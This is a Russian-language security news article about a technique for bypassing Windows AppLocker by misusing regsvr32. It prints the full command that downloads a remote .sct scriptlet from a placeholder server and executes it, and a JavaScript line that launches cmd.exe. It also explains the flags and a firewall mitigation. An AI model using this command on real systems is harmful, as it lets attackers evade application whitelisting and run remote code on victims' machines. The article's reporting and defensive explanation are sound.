Хакер #305. Многошаговые SQL-инъекции
Независимый исследователь Кейси Смит (Casey Smith) обнаружил интересный способ обхода средства безопасности Windows AppLocker. Техника Смита не требует привилегий администратора. Всё, что понадобится для атаки, это лишь короткая команда, код которой уместится даже в один твит.
Windows AppLocker впервые появился в системах Microsoft с релизом Windows Server 2008 R2 и Windows 7. По сути, эта функция позволяет администратору задавать определенные правила для приложений, определяя, что может и чего не может запустить пользователь (или группа пользователей). К примеру, можно запретить запуск на компьютере любых программ, которые не относятся к рабочей деятельности сотрудника.
Тогда как администраторы привыкли доверять AppLocker, Кейсти Смит пишет, что обойти его ограничения возможно, более того, проделать это весьма легко.
Фактически Смит предложил использовать не по назначению Regsvr32 и с его помощью скачать из интернета определенный файл. Для этого потребуется команда вида:
regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll
Исполнение этой команды приведет к скачиваю XML-файла, который приведет к запуску cmd.exe. Кроме того, cmd.exe можно заменить на любую другую программу, и не важно, какие ограничения установлены в AppLocker: программа всё равно успешно запустится.
Как это работает? Regsvr32 является частью ОС и может использоваться для регистрации или отмены регистрации файлов COM скриптов в реестре Windows. Если разбирать команду Смита: /s в коде обязывает Regsvr32 работать тихо, /n приказывает не использовать DllRegisterServer, /u означает, что мы пытаемся осуществить отмену регистрации, а параметр /i отвечает за ссылку и DLLinstall. В свою очередь, scrobj.dll – это Script Component Runtime.
Смит обнаружил, что Regsvr32 обработает URL и доставит на машину заданный файл через HTTP или HTTPS. Исследователь добавил немного JavaScript к своему XML-файлу и инициировал его исполнение через запрос на отмену регистрации .DLL. Таким образом, обход AppLocker становится весьма простым трюком, веь любой пользователь может отправить запрос на отмену регистрации.
«Это не слишком задокументированная [функция], но regsvr32.exe может принять ссылку на скрипт. Чтобы уязвимость сработала, поместите код (VB или JS) внутрь элемента <registration>», — пишет Смит.
Так, в описанном выше примере JavaScript использует ActiveX:
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
Атака Смита не требует привилегий администратора, может быть выдана за обычную сессию HTTP, и не должна оставить ни единого следа на жестком диске жертвы, так как не затрагивает реестр и работает непосредственно с памятью. Никаких патчей на данный момент не существует, разве что Regsvr32 можно отрезать от интернета при помощи файервола.
Исследователь опубликовал на GitHub свой proof-of-concept, который может пригодиться системным администраторам и пентестерам.
Фото: Softpedia